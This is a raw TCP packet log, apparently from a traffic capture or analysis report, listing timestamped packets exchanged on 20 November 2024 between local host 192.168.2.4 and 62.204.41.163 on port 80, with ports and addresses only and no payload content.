Nov 20, 2024 07:48:23.005773067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005778074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005805016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005837917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005867004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005897045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005918026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005950928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005976915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005983114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006017923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006047010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006050110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006083012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006105900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006114960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006148100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006170988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006179094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006211996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006233931 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006243944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006273031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006278038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006308079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006334066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006342888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006380081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006407976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006407976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006439924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006465912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006473064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006504059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006531000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006537914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006571054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006604910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006638050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006654978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006670952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006688118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006688118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006704092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006716013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006736994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006766081 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006769896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006783962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006804943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006838083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006872892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006874084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006874084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006901979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006901979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.006906986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.006959915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015089989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015104055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015119076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015165091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015166044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015202999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015235901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015254021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015284061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015289068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015321016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015357018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015386105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015389919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015440941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015470028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015492916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015527010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015552998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015561104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015594959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015624046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015645981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015674114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015680075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015716076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015727997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015749931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015778065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015801907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015830994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015835047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015866995 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015872955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015894890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015919924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015944004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015953064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.015980959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.015988111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016021013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016056061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016105890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016133070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016139984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016171932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016185999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016205072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016230106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016237020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016271114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016300917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016304016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016336918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016366959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016369104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016402006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016428947 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016438007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016472101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016500950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016505003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016539097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016563892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016571999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016607046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016633987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016638994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016673088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016699076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016705990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016738892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016772985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016788960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016788960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016805887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016833067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016838074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016871929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016896963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016904116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016932964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.016937971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016971111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.016985893 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.017051935 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.093678951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093785048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.093858957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093874931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093889952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093904972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093919992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093933105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.093946934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093962908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093971968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.093977928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.093982935 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094002962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094021082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094027996 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094027996 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094048977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094074965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094096899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094108105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094136953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094142914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094171047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094176054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094225883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094237089 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094266891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094316959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094345093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094371080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094403982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094432116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094458103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094508886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094554901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094562054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094594002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094619036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094625950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094680071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094707012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094712973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094747066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094772100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094779968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094814062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094820976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094846964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094875097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094881058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094911098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094937086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.094943047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.094978094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095005989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095010996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095045090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095072031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095082045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095117092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095144987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095149994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095182896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095206022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095216036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095249891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095277071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095283031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095341921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095370054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095372915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095407009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095422029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095439911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095468044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095474005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095506907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095535994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095541000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095567942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095573902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095608950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095638037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095643044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095685005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095705986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095712900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095741034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095746040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095781088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095808029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095813036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095846891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095875025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095880032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095913887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095941067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.095946074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.095979929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.096005917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.096012115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.096045971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.096072912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.096077919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.096113920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.096141100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.096466064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.103964090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.103995085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.104028940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.104228973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.243902922 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.248948097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466346979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466370106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466398001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466423988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466423988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466439962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466456890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466459990 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466464996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466479063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466479063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466495037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466502905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466510057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466525078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466533899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466533899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466562033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466563940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466578960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466587067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466594934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466614008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466615915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466617107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466630936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466654062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466654062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466654062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466675997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466680050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466703892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466703892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466720104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466727018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466734886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466742992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466748953 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466757059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466763973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466770887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466779947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466787100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466794014 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466816902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466819048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466834068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466840982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466849089 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466864109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466871977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466871977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466878891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466883898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466895103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466902018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466917038 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466922045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466937065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466955900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466959000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466973066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466975927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.466989994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.466995001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467005014 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467012882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467020035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467037916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467042923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467053890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467058897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467067957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467082977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467092991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467092991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467098951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467103958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467114925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467128992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467134953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467144966 CET	80	49753	62.204.41.163	192.168.2.4
